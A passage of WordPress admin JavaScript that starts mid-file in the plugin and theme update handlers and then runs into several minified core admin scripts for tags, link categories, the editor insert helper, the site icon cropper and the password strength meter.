		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( 'click', '[data-plugin] .update-link', function( event ) {
			var $message   = $( event.target ),
				$pluginRow = $message.parents( 'tr' );

			event.preventDefault();

			if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			// Return the user to the input box of the plugin's table row after closing the modal.
			wp.updates.$elToReturnFocusToFromCredentialsModal = $pluginRow.find( '.check-column input' );
			wp.updates.updatePlugin( {
				plugin: $pluginRow.data( 'plugin' ),
				slug:   $pluginRow.data( 'slug' )
			} );
		} );

		/**
		 * Click handler for plugin updates in plugin install view.
		 *
		 * @since 4.2.0
		 *
		 * @param {Event} event Event interface.
		 */
		$pluginFilter.on( 'click', '.update-now', function( event ) {
			var $button = $( event.target );
			event.preventDefault();

			if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.updatePlugin( {
				plugin: $button.data( 'plugin' ),
				slug:   $button.data( 'slug' )
			} );
		} );

		/**
		 * Click handler for plugin installs in plugin install view.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$pluginFilter.on( 'click', '.install-now', function( event ) {
			var $button = $( event.target );
			event.preventDefault();

			if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) {
				return;
			}

			if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
				wp.updates.requestFilesystemCredentials( event );

				$document.on( 'credential-modal-cancel', function() {
					var $message = $( '.install-now.updating-message' );

					$message
						.removeClass( 'updating-message' )
						.text( _x( 'Install Now', 'plugin' ) );

					wp.a11y.speak( __( 'Update canceled.' ) );
				} );
			}

			wp.updates.installPlugin( {
				slug: $button.data( 'slug' )
			} );
		} );

		/**
		 * Click handler for plugin activations in plugin activation modal view.
		 *
		 * @since 6.5.0
		 * @since 6.5.4 Redirect the parent window to the activation URL.
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( 'click', '#plugin-information-footer .activate-now', function( event ) {
			event.preventDefault();
			window.parent.location.href = $( event.target ).attr( 'href' );
		});

		/**
		 * Click handler for importer plugins installs in the Import screen.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( 'click', '.importer-item .install-now', function( event ) {
			var $button = $( event.target ),
				pluginName = $( this ).data( 'name' );

			event.preventDefault();

			if ( $button.hasClass( 'updating-message' ) ) {
				return;
			}

			if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
				wp.updates.requestFilesystemCredentials( event );

				$document.on( 'credential-modal-cancel', function() {

					$button
						.removeClass( 'updating-message' )
						.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Plugin name. */
								_x( 'Install %s now', 'plugin' ),
								pluginName
							)
						)
						.text( _x( 'Install Now', 'plugin' ) );

					wp.a11y.speak( __( 'Update canceled.' ) );
				} );
			}

			wp.updates.installPlugin( {
				slug:    $button.data( 'slug' ),
				pagenow: pagenow,
				success: wp.updates.installImporterSuccess,
				error:   wp.updates.installImporterError
			} );
		} );

		/**
		 * Click handler for plugin deletions.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( 'click', '[data-plugin] a.delete', function( event ) {
			var $pluginRow = $( event.target ).parents( 'tr' ),
				confirmMessage;

			if ( $pluginRow.hasClass( 'is-uninstallable' ) ) {
				confirmMessage = sprintf(
					/* translators: %s: Plugin name. */
					__( 'Are you sure you want to delete %s and its data?' ),
					$pluginRow.find( '.plugin-title strong' ).text()
				);
			} else {
				confirmMessage = sprintf(
					/* translators: %s: Plugin name. */
					__( 'Are you sure you want to delete %s?' ),
					$pluginRow.find( '.plugin-title strong' ).text()
				);
			}

			event.preventDefault();

			if ( ! window.confirm( confirmMessage ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.deletePlugin( {
				plugin: $pluginRow.data( 'plugin' ),
				slug:   $pluginRow.data( 'slug' )
			} );

		} );

		/**
		 * Click handler for theme updates.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( 'click', '.themes-php.network-admin .update-link', function( event ) {
			var $message  = $( event.target ),
				$themeRow = $message.parents( 'tr' );

			event.preventDefault();

			if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			// Return the user to the input box of the theme's table row after closing the modal.
			wp.updates.$elToReturnFocusToFromCredentialsModal = $themeRow.find( '.check-column input' );
			wp.updates.updateTheme( {
				slug: $themeRow.data( 'slug' )
			} );
		} );

		/**
		 * Click handler for theme deletions.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( 'click', '.themes-php.network-admin a.delete', function( event ) {
			var $themeRow = $( event.target ).parents( 'tr' ),
				confirmMessage = sprintf(
					/* translators: %s: Theme name. */
					__( 'Are you sure you want to delete %s?' ),
					$themeRow.find( '.theme-title strong' ).text()
				);

			event.preventDefault();

			if ( ! window.confirm( confirmMessage ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.deleteTheme( {
				slug: $themeRow.data( 'slug' )
			} );
		} );

		/**
		 * Bulk action handler for plugins and themes.
		 *
		 * Handles both deletions and updates.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( 'click', '[type="submit"]:not([name="clear-recent-list"])', function( event ) {
			var bulkAction    = $( event.target ).siblings( 'select' ).val(),
				itemsSelected = $bulkActionForm.find( 'input[name="checked[]"]:checked' ),
				success       = 0,
				error         = 0,
				errorMessages = [],
				type, action;

			// Determine which type of item we're dealing with.
			switch ( pagenow ) {
				case 'plugins':
				case 'plugins-network':
					type = 'plugin';
					break;

				case 'themes-network':
					type = 'theme';
					break;

				default:
					return;
			}

			// Bail if there were no items selected.
			if ( ! itemsSelected.length ) {
				event.preventDefault();
				$( 'html, body' ).animate( { scrollTop: 0 } );

				return wp.updates.addAdminNotice( {
					id:        'no-items-selected',
					className: 'notice-error is-dismissible',
					message:   __( 'Please select at least one item to perform this action on.' )
				} );
			}

			// Determine the type of request we're dealing with.
			switch ( bulkAction ) {
				case 'update-selected':
					action = bulkAction.replace( 'selected', type );
					break;

				case 'delete-selected':
					var confirmMessage = 'plugin' === type ?
						__( 'Are you sure you want to delete the selected plugins and their data?' ) :
						__( 'Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?' );

					if ( ! window.confirm( confirmMessage ) ) {
						event.preventDefault();
						return;
					}

					action = bulkAction.replace( 'selected', type );
					break;

				default:
					return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			event.preventDefault();

			// Un-check the bulk checkboxes.
			$bulkActionForm.find( '.manage-column [type="checkbox"]' ).prop( 'checked', false );

			$document.trigger( 'wp-' + type + '-bulk-' + bulkAction, itemsSelected );

			// Find all the checkboxes which have been checked.
			itemsSelected.each( function( index, element ) {
				var $checkbox = $( element ),
					$itemRow = $checkbox.parents( 'tr' );

				// Only add update-able items to the update queue.
				if ( 'update-selected' === bulkAction && ( ! $itemRow.hasClass( 'update' ) || $itemRow.find( 'notice-error' ).length ) ) {

					// Un-check the box.
					$checkbox.prop( 'checked', false );
					return;
				}

				// Don't add items to the update queue again, even if the user clicks the update button several times.
				if ( 'update-selected' === bulkAction && $itemRow.hasClass( 'is-enqueued' ) ) {
					return;
				}

				$itemRow.addClass( 'is-enqueued' );

				// Add it to the queue.
				wp.updates.queue.push( {
					action: action,
					data:   {
						plugin: $itemRow.data( 'plugin' ),
						slug:   $itemRow.data( 'slug' )
					}
				} );
			} );

			// Display bulk notification for updates of any kind.
			$document.on( 'wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error', function( event, response ) {
				var $itemRow = $( '[data-slug="' + response.slug + '"]' ),
					$bulkActionNotice, itemName;

				if ( 'wp-' + response.update + '-update-success' === event.type ) {
					success++;
				} else {
					itemName = response.pluginName ? response.pluginName : $itemRow.find( '.column-primary strong' ).text();

					error++;
					errorMessages.push( itemName + ': ' + response.errorMessage );
				}

				$itemRow.find( 'input[name="checked[]"]:checked' ).prop( 'checked', false );

				wp.updates.adminNotice = wp.template( 'wp-bulk-updates-admin-notice' );

				wp.updates.addAdminNotice( {
					id:            'bulk-action-notice',
					className:     'bulk-action-notice',
					successes:     success,
					errors:        error,
					errorMessages: errorMessages,
					type:          response.update
				} );

				$bulkActionNotice = $( '#bulk-action-notice' ).on( 'click', 'button', function() {
					// $( this ) is the clicked button, no need to get it again.
					$( this )
						.toggleClass( 'bulk-action-errors-collapsed' )
						.attr( 'aria-expanded', ! $( this ).hasClass( 'bulk-action-errors-collapsed' ) );
					// Show the errors list.
					$bulkActionNotice.find( '.bulk-action-errors' ).toggleClass( 'hidden' );
				} );

				if ( error > 0 && ! wp.updates.queue.length ) {
					$( 'html, body' ).animate( { scrollTop: 0 } );
				}
			} );

			// Reset admin notice template after #bulk-action-notice was added.
			$document.on( 'wp-updates-notice-added', function() {
				wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' );
			} );

			// Check the queue, now that the event handlers have been added.
			wp.updates.queueChecker();
		} );

		if ( $pluginInstallSearch.length ) {
			$pluginInstallSearch.attr( 'aria-describedby', 'live-search-desc' );
		}

		/**
		 * Handles changes to the plugin search box on the new-plugin page,
		 * searching the repository dynamically.
		 *
		 * @since 4.6.0
		 */
		$pluginInstallSearch.on( 'keyup input', _.debounce( function( event, eventtype ) {
			var $searchTab = $( '.plugin-install-search' ), data, searchLocation;

			data = {
				_ajax_nonce: wp.updates.ajaxNonce,
				s:           encodeURIComponent( event.target.value ),
				tab:         'search',
				type:        $( '#typeselector' ).val(),
				pagenow:     pagenow
			};
			searchLocation = location.href.split( '?' )[ 0 ] + '?' + $.param( _.omit( data, [ '_ajax_nonce', 'pagenow' ] ) );

			// Clear on escape.
			if ( 'keyup' === event.type && 27 === event.which ) {
				event.target.value = '';
			}

			if ( wp.updates.searchTerm === data.s && 'typechange' !== eventtype ) {
				return;
			} else {
				$pluginFilter.empty();
				wp.updates.searchTerm = data.s;
			}

			if ( window.history && window.history.replaceState ) {
				window.history.replaceState( null, '', searchLocation );
			}

			if ( ! $searchTab.length ) {
				$searchTab = $( '<li class="plugin-install-search" />' )
					.append( $( '<a />', {
						'class': 'current',
						'href': searchLocation,
						'text': __( 'Search Results' )
					} ) );

				$( '.wp-filter .filter-links .current' )
					.removeClass( 'current' )
					.parents( '.filter-links' )
					.prepend( $searchTab );

				$pluginFilter.prev( 'p' ).remove();
				$( '.plugins-popular-tags-wrapper' ).remove();
			}

			if ( 'undefined' !== typeof wp.updates.searchRequest ) {
				wp.updates.searchRequest.abort();
			}
			$( 'body' ).addClass( 'loading-content' );

			wp.updates.searchRequest = wp.ajax.post( 'search-install-plugins', data ).done( function( response ) {
				$( 'body' ).removeClass( 'loading-content' );
				$pluginFilter.append( response.items );
				delete wp.updates.searchRequest;

				if ( 0 === response.count ) {
					wp.a11y.speak( __( 'You do not appear to have any plugins available at this time.' ) );
				} else {
					wp.a11y.speak(
						sprintf(
							/* translators: %s: Number of plugins. */
							__( 'Number of plugins found: %d' ),
							response.count
						)
					);
				}
			} );
		}, 1000 ) );

		if ( $pluginSearch.length ) {
			$pluginSearch.attr( 'aria-describedby', 'live-search-desc' );
		}

		/**
		 * Handles changes to the plugin search box on the Installed Plugins screen,
		 * searching the plugin list dynamically.
		 *
		 * @since 4.6.0
		 */
		$pluginSearch.on( 'keyup input', _.debounce( function( event ) {
			var data = {
				_ajax_nonce:   wp.updates.ajaxNonce,
				s:             encodeURIComponent( event.target.value ),
				pagenow:       pagenow,
				plugin_status: 'all'
			},
			queryArgs;

			// Clear on escape.
			if ( 'keyup' === event.type && 27 === event.which ) {
				event.target.value = '';
			}

			if ( wp.updates.searchTerm === data.s ) {
				return;
			} else {
				wp.updates.searchTerm = data.s;
			}

			queryArgs = _.object( _.compact( _.map( location.search.slice( 1 ).split( '&' ), function( item ) {
				if ( item ) return item.split( '=' );
			} ) ) );

			data.plugin_status = queryArgs.plugin_status || 'all';

			if ( window.history && window.history.replaceState ) {
				window.history.replaceState( null, '', location.href.split( '?' )[ 0 ] + '?s=' + data.s + '&plugin_status=' + data.plugin_status );
			}

			if ( 'undefined' !== typeof wp.updates.searchRequest ) {
				wp.updates.searchRequest.abort();
			}

			$bulkActionForm.empty();
			$( 'body' ).addClass( 'loading-content' );
			$( '.subsubsub .current' ).removeClass( 'current' );

			wp.updates.searchRequest = wp.ajax.post( 'search-plugins', data ).done( function( response ) {

				// Can we just ditch this whole subtitle business?
				var $subTitle    = $( '<span />' ).addClass( 'subtitle' ).html(
					sprintf(
						/* translators: %s: Search query. */
						__( 'Search results for: %s' ),
						'<strong>' + _.escape( decodeURIComponent( data.s ) ) + '</strong>'
					) ),
					$oldSubTitle = $( '.wrap .subtitle' );

				if ( ! data.s.length ) {
					$oldSubTitle.remove();
					$( '.subsubsub .' + data.plugin_status + ' a' ).addClass( 'current' );
				} else if ( $oldSubTitle.length ) {
					$oldSubTitle.replaceWith( $subTitle );
				} else {
					$( '.wp-header-end' ).before( $subTitle );
				}

				$( 'body' ).removeClass( 'loading-content' );
				$bulkActionForm.append( response.items );
				delete wp.updates.searchRequest;

				if ( 0 === response.count ) {
					wp.a11y.speak( __( 'No plugins found. Try a different search.'  ) );
				} else {
					wp.a11y.speak(
						sprintf(
							/* translators: %s: Number of plugins. */
							__( 'Number of plugins found: %d' ),
							response.count
						)
					);
				}
			} );
		}, 500 ) );

		/**
		 * Trigger a search event when the search form gets submitted.
		 *
		 * @since 4.6.0
		 */
		$document.on( 'submit', '.search-plugins', function( event ) {
			event.preventDefault();

			$( 'input.wp-filter-search' ).trigger( 'input' );
		} );

		/**
		 * Trigger a search event when the "Try Again" button is clicked.
		 *
		 * @since 4.9.0
		 */
		$document.on( 'click', '.try-again', function( event ) {
			event.preventDefault();
			$pluginInstallSearch.trigger( 'input' );
		} );

		/**
		 * Trigger a search event when the search type gets changed.
		 *
		 * @since 4.6.0
		 */
		$( '#typeselector' ).on( 'change', function() {
			var $search = $( 'input[name="s"]' );

			if ( $search.val().length ) {
				$search.trigger( 'input', 'typechange' );
			}
		} );

		/**
		 * Click handler for updating a plugin from the details modal on `plugin-install.php`.
		 *
		 * @since 4.2.0
		 *
		 * @param {Event} event Event interface.
		 */
		$( '#plugin_update_from_iframe' ).on( 'click', function( event ) {
			var target = window.parent === window ? null : window.parent,
				update;

			$.support.postMessage = !! window.postMessage;

			if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( 'update-core.php' ) ) {
				return;
			}

			event.preventDefault();

			update = {
				action: 'update-plugin',
				data:   {
					plugin: $( this ).data( 'plugin' ),
					slug:   $( this ).data( 'slug' )
				}
			};

			target.postMessage( JSON.stringify( update ), window.location.origin );
		} );

		/**
		 * Handles postMessage events.
		 *
		 * @since 4.2.0
		 * @since 4.6.0 Switched `update-plugin` action to use the queue.
		 *
		 * @param {Event} event Event interface.
		 */
		$( window ).on( 'message', function( event ) {
			var originalEvent  = event.originalEvent,
				expectedOrigin = document.location.protocol + '//' + document.location.host,
				message;

			if ( originalEvent.origin !== expectedOrigin ) {
				return;
			}

			try {
				message = JSON.parse( originalEvent.data );
			} catch ( e ) {
				return;
			}

			if ( ! message ) {
				return;
			}

			if (
				'undefined' !== typeof message.status &&
				'undefined' !== typeof message.slug &&
				'undefined' !== typeof message.text &&
				'undefined' !== typeof message.ariaLabel
			) {
				var $card = $( '.plugin-card-' + message.slug ),
					$message = $card.find( '[data-slug="' + message.slug + '"]' );

				if ( 'undefined' !== typeof message.removeClasses ) {
					$message.removeClass( message.removeClasses );
				}

				if ( 'undefined' !== typeof message.addClasses ) {
					$message.addClass( message.addClasses );
				}

				if ( '' === message.ariaLabel ) {
					$message.removeAttr( 'aria-label' );
				} else {
					$message.attr( 'aria-label', message.ariaLabel );
				}

				if ( 'dependencies-check-success' === message.status ) {
					$message
						.attr( 'data-name', message.pluginName )
						.attr( 'data-slug', message.slug )
						.attr( 'data-plugin', message.plugin )
						.attr( 'href', message.href );
				}

				$message.text( message.text );
			}

			if ( 'undefined' === typeof message.action ) {
				return;
			}

			switch ( message.action ) {

				// Called from `wp-admin/includes/class-wp-upgrader-skins.php`.
				case 'decrementUpdateCount':
					/** @property {string} message.upgradeType */
					wp.updates.decrementCount( message.upgradeType );
					break;

				case 'install-plugin':
				case 'update-plugin':
					if ( 'undefined' === typeof message.data || 'undefined' === typeof message.data.slug ) {
						return;
					}

					message.data = wp.updates._addCallbacks( message.data, message.action );

					wp.updates.queue.push( message );
					wp.updates.queueChecker();
					break;
			}
		} );

		/**
		 * Adds a callback to display a warning before leaving the page.
		 *
		 * @since 4.2.0
		 */
		$( window ).on( 'beforeunload', wp.updates.beforeunload );

		/**
		 * Prevents the page form scrolling when activating auto-updates with the Spacebar key.
		 *
		 * @since 5.5.0
		 */
		$document.on( 'keydown', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) {
			if ( 32 === event.which ) {
				event.preventDefault();
			}
		} );

		/**
		 * Click and keyup handler for enabling and disabling plugin and theme auto-updates.
		 *
		 * These controls can be either links or buttons. When JavaScript is enabled,
		 * we want them to behave like buttons. An ARIA role `button` is added via
		 * the JavaScript that targets elements with the CSS class `aria-button-if-js`.
		 *
		 * @since 5.5.0
		 */
		$document.on( 'click keyup', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) {
			var data, asset, type, $parent,
				$toggler = $( this ),
				action = $toggler.attr( 'data-wp-action' ),
				$label = $toggler.find( '.label' );

			if ( 'keyup' === event.type && 32 !== event.which ) {
				return;
			}

			if ( 'themes' !== pagenow ) {
				$parent = $toggler.closest( '.column-auto-updates' );
			} else {
				$parent = $toggler.closest( '.theme-autoupdate' );
			}

			event.preventDefault();

			// Prevent multiple simultaneous requests.
			if ( $toggler.attr( 'data-doing-ajax' ) === 'yes' ) {
				return;
			}

			$toggler.attr( 'data-doing-ajax', 'yes' );

			switch ( pagenow ) {
				case 'plugins':
				case 'plugins-network':
					type = 'plugin';
					asset = $toggler.closest( 'tr' ).attr( 'data-plugin' );
					break;
				case 'themes-network':
					type = 'theme';
					asset = $toggler.closest( 'tr' ).attr( 'data-slug' );
					break;
				case 'themes':
					type = 'theme';
					asset = $toggler.attr( 'data-slug' );
					break;
			}

			// Clear any previous errors.
			$parent.find( '.notice.notice-error' ).addClass( 'hidden' );

			// Show loading status.
			if ( 'enable' === action ) {
				$label.text( __( 'Enabling...' ) );
			} else {
				$label.text( __( 'Disabling...' ) );
			}

			$toggler.find( '.dashicons-update' ).removeClass( 'hidden' );

			data = {
				action: 'toggle-auto-updates',
				_ajax_nonce: settings.ajax_nonce,
				state: action,
				type: type,
				asset: asset
			};

			$.post( window.ajaxurl, data )
				.done( function( response ) {
					var $enabled, $disabled, enabledNumber, disabledNumber, errorMessage,
						href = $toggler.attr( 'href' );

					if ( ! response.success ) {
						// if WP returns 0 for response (which can happen in a few cases),
						// output the general error message since we won't have response.data.error.
						if ( response.data && response.data.error ) {
							errorMessage = response.data.error;
						} else {
							errorMessage = __( 'The request could not be completed.' );
						}

						$parent.find( '.notice.notice-error' ).removeClass( 'hidden' ).find( 'p' ).text( errorMessage );
						wp.a11y.speak( errorMessage, 'assertive' );
						return;
					}

					// Update the counts in the enabled/disabled views if on a screen
					// with a list table.
					if ( 'themes' !== pagenow ) {
						$enabled       = $( '.auto-update-enabled span' );
						$disabled      = $( '.auto-update-disabled span' );
						enabledNumber  = parseInt( $enabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0;
						disabledNumber = parseInt( $disabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0;

						switch ( action ) {
							case 'enable':
								++enabledNumber;
								--disabledNumber;
								break;
							case 'disable':
								--enabledNumber;
								++disabledNumber;
								break;
						}

						enabledNumber = Math.max( 0, enabledNumber );
						disabledNumber = Math.max( 0, disabledNumber );

						$enabled.text( '(' + enabledNumber + ')' );
						$disabled.text( '(' + disabledNumber + ')' );
					}

					if ( 'enable' === action ) {
						// The toggler control can be either a link or a button.
						if ( $toggler[ 0 ].hasAttribute( 'href' ) ) {
							href = href.replace( 'action=enable-auto-update', 'action=disable-auto-update' );
							$toggler.attr( 'href', href );
						}
						$toggler.attr( 'data-wp-action', 'disable' );

						$label.text( __( 'Disable auto-updates' ) );
						$parent.find( '.auto-update-time' ).removeClass( 'hidden' );
						wp.a11y.speak( __( 'Auto-updates enabled' ) );
					} else {
						// The toggler control can be either a link or a button.
						if ( $toggler[ 0 ].hasAttribute( 'href' ) ) {
							href = href.replace( 'action=disable-auto-update', 'action=enable-auto-update' );
							$toggler.attr( 'href', href );
						}
						$toggler.attr( 'data-wp-action', 'enable' );

						$label.text( __( 'Enable auto-updates' ) );
						$parent.find( '.auto-update-time' ).addClass( 'hidden' );
						wp.a11y.speak( __( 'Auto-updates disabled' ) );
					}

					$document.trigger( 'wp-auto-update-setting-changed', { state: action, type: type, asset: asset } );
				} )
				.fail( function() {
					$parent.find( '.notice.notice-error' )
						.removeClass( 'hidden' )
						.find( 'p' )
						.text( __( 'The request could not be completed.' ) );

					wp.a11y.speak( __( 'The request could not be completed.' ), 'assertive' );
				} )
				.always( function() {
					$toggler.removeAttr( 'data-doing-ajax' ).find( '.dashicons-update' ).addClass( 'hidden' );
				} );
			}
		);
	} );
})( jQuery, window.wp, window._wpUpdatesSettings );
/*! This file is auto-generated */
jQuery(function(s){var o=!1;s("#the-list").on("click",".delete-tag",function(){var t,e=s(this),n=e.parents("tr"),a=!0;return(a="undefined"!=showNotice?showNotice.warn():a)&&(t=e.attr("href").replace(/[^?]*\?/,"").replace(/action=delete/,"action=delete-tag"),s.post(ajaxurl,t,function(e){"1"==e?(s("#ajax-response").empty(),n.fadeOut("normal",function(){n.remove()}),s('select#parent option[value="'+t.match(/tag_ID=(\d+)/)[1]+'"]').remove(),s("a.tag-link-"+t.match(/tag_ID=(\d+)/)[1]).remove()):("-1"==e?s("#ajax-response").empty().append('<div class="error"><p>'+wp.i18n.__("Sorry, you are not allowed to do that.")+"</p></div>"):s("#ajax-response").empty().append('<div class="error"><p>'+wp.i18n.__("Something went wrong.")+"</p></div>"),n.children().css("backgroundColor",""))}),n.children().css("backgroundColor","#f33")),!1}),s("#edittag").on("click",".delete",function(e){if("undefined"==typeof showNotice)return!0;showNotice.warn()||e.preventDefault()}),s("#submit").on("click",function(){var r=s(this).parents("form");return o||(o=!0,r.find(".submit .spinner").addClass("is-active"),s.post(ajaxurl,s("#addtag").serialize(),function(e){var t,n,a;if(o=!1,r.find(".submit .spinner").removeClass("is-active"),s("#ajax-response").empty(),(t=wpAjax.parseAjaxResponse(e,"ajax-response")).errors&&"empty_term_name"===t.responses[0].errors[0].code&&validateForm(r),t&&!t.errors){if(0<(e=r.find("select#parent").val())&&0<s("#tag-"+e).length?s(".tags #tag-"+e).after(t.responses[0].supplemental.noparents):s(".tags").prepend(t.responses[0].supplemental.parents),s(".tags .no-items").remove(),r.find("select#parent")){for(e=t.responses[1].supplemental,n="",a=0;a<t.responses[1].position;a++)n+="&nbsp;&nbsp;&nbsp;";r.find("select#parent option:selected").after('<option value="'+e.term_id+'">'+n+e.name+"</option>")}s('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible',r).val("")}})),!1})});/*! This file is auto-generated */
jQuery(function(a){var t,c,e,i=!1;a("#link_name").trigger("focus"),postboxes.add_postbox_toggles("link"),a("#category-tabs a").on("click",function(){var t=a(this).attr("href");return a(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),a(".tabs-panel").hide(),a(t).show(),"#categories-all"==t?deleteUserSetting("cats"):setUserSetting("cats","pop"),!1}),getUserSetting("cats")&&a('#category-tabs a[href="#categories-pop"]').trigger("click"),t=a("#newcat").one("focus",function(){a(this).val("").removeClass("form-input-tip")}),a("#link-category-add-submit").on("click",function(){t.focus()}),c=function(){var t,e;i||(i=!0,t=(e=a(this)).is(":checked"),e=e.val().toString(),a("#in-link-category-"+e+", #in-popular-link_category-"+e).prop("checked",t),i=!1)},e=function(t,e){a(e.what+" response_data",t).each(function(){a(a(this).text()).find("label").each(function(){var t=a(this),e=t.find("input").val(),i=t.find("input")[0].id,t=t.text().trim();a("#"+i).on("change",c),a('<option value="'+parseInt(e,10)+'"></option>').text(t)})})},a("#categorychecklist").wpList({alt:"",what:"link-category",response:"category-ajax-response",addAfter:e}),a('a[href="#categories-all"]').on("click",function(){deleteUserSetting("cats")}),a('a[href="#categories-pop"]').on("click",function(){setUserSetting("cats","pop")}),"pop"==getUserSetting("cats")&&a('a[href="#categories-pop"]').trigger("click"),a("#category-add-toggle").on("click",function(){return a(this).parents("div:first").toggleClass("wp-hidden-children"),a('#category-tabs a[href="#categories-all"]').trigger("click"),a("#newcategory").trigger("focus"),!1}),a(".categorychecklist :checkbox").on("change",c).filter(":checked").trigger("change")});/*! This file is auto-generated */
window.send_to_editor=function(t){var e,i="undefined"!=typeof tinymce,n="undefined"!=typeof QTags;if(wpActiveEditor)i&&(e=tinymce.get(wpActiveEditor));else if(i&&tinymce.activeEditor)e=tinymce.activeEditor,window.wpActiveEditor=e.id;else if(!n)return!1;if(e&&!e.isHidden()?e.execCommand("mceInsertContent",!1,t):n?QTags.insertContent(t):document.getElementById(wpActiveEditor).value+=t,window.tb_remove)try{window.tb_remove()}catch(t){}},function(d){window.tb_position=function(){var t=d("#TB_window"),e=d(window).width(),i=d(window).height(),n=833<e?833:e,o=0;return d("#wpadminbar").length&&(o=parseInt(d("#wpadminbar").css("height"),10)),t.length&&(t.width(n-50).height(i-45-o),d("#TB_iframeContent").width(n-50).height(i-75-o),t.css({"margin-left":"-"+parseInt((n-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&t.css({top:20+o+"px","margin-top":"0"}),d("a.thickbox").each(function(){var t=d(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),d(this).attr("href",t+"&width="+(n-80)+"&height="+(i-85-o)))})},d(window).on("resize",function(){tb_position()})}(jQuery);/*! This file is auto-generated */
!function(t){var a,i=t("#choose-from-library-button"),s=t("#site-icon-preview"),r=t("#browser-icon-preview"),n=t("#app-icon-preview"),l=t("#site_icon_hidden_field"),o=t("#js-remove-site-icon");function c(t){var e=t.get("width"),t=t.get("height"),a=512,i=512,s=a/i,r=a,n=i;return s<e/t?a=(i=t)*s:i=(a=e)/s,{aspectRatio:a+":"+i,handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:e,imageHeight:t,minWidth:a<r?a:r,minHeight:i<n?i:n,x1:s=(e-a)/2,y1:r=(t-i)/2,x2:a+s,y2:i+r}}function d(t){var e,a=t.alt?(e=wp.i18n.sprintf(wp.i18n.__("App icon preview: Current image: %s"),t.alt),wp.i18n.sprintf(wp.i18n.__("Browser icon preview: Current image: %s"),t.alt)):(e=wp.i18n.sprintf(wp.i18n.__("App icon preview: The current image has no alternative text. The file name is: %s"),t.filename),wp.i18n.sprintf(wp.i18n.__("Browser icon preview: The current image has no alternative text. The file name is: %s"),t.filename));n.attr({src:t.url,alt:e}),r.attr({src:t.url,alt:a}),s.removeClass("hidden"),o.removeClass("hidden"),"1"!==i.attr("data-state")&&i.attr({class:i.attr("data-alt-classes"),"data-alt-classes":i.attr("class"),"data-state":"1"}),i.text(i.attr("data-update-text"))}i.on("click",function(){var e=t(this);(a=wp.media({button:{text:e.data("update"),close:!1},states:[new wp.media.controller.Library({title:e.data("choose-text"),library:wp.media.query({type:"image"}),date:!1,suggestedWidth:e.data("size"),suggestedHeight:e.data("size")}),new wp.media.controller.SiteIconCropper({control:{params:{width:e.data("size"),height:e.data("size")}},imgSelectOptions:c})]})).on("cropped",function(t){l.val(t.id),d(t),a.close(),a=null}),a.on("select",function(){var t=a.state().get("selection").first();t.attributes.height===e.data("size")&&e.data("size")===t.attributes.width?(d(t.attributes),a.close(),l.val(t.id)):a.setState("cropper")}),a.open()}),o.on("click",function(){l.val("false"),t(this).toggleClass("hidden"),s.toggleClass("hidden"),r.attr({src:"",alt:""}),n.attr({src:"",alt:""}),i.attr({class:i.attr("data-alt-classes"),"data-alt-classes":i.attr("class"),"data-state":""}).text(i.attr("data-choose-text")).trigger("focus")})}(jQuery);/*! This file is auto-generated */
window.wp=window.wp||{},function(a){var e=wp.i18n.__,n=wp.i18n.sprintf;wp.passwordStrength={meter:function(e,n,t){return Array.isArray(n)||(n=[n.toString()]),e!=t&&t&&0<t.length?5:void 0===window.zxcvbn?-1:zxcvbn(e,n).score},userInputBlacklist:function(){return window.console.log(n(e("%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code."),"wp.passwordStrength.userInputBlacklist()","5.5.0","wp.passwordStrength.userInputDisallowedList()")),wp.passwordStrength.userInputDisallowedList()},userInputDisallowedList:function(){var e,n,t,r,s=[],i=[],o=["user_login","first_name","last_name","nickname","display_name","email","url","description","weblog_title","admin_email"];for(s.push(document.title),s.push(document.URL),n=o.length,e=0;e<n;e++)0!==(r=a("#"+o[e])).length&&(s.push(r[0].defaultValue),s.push(r.val()));for(t=s.length,e=0;e<t;e++)s[e]&&(i=i.concat(s[e].replace(/\W/g," ").split(" ")));return i=a.grep(i,function(e,n){return!(""===e||e.length<4)&&a.inArray(e,i)===n})}},window.passwordStrength=wp.passwordStrength.meter}(jQuery);/**
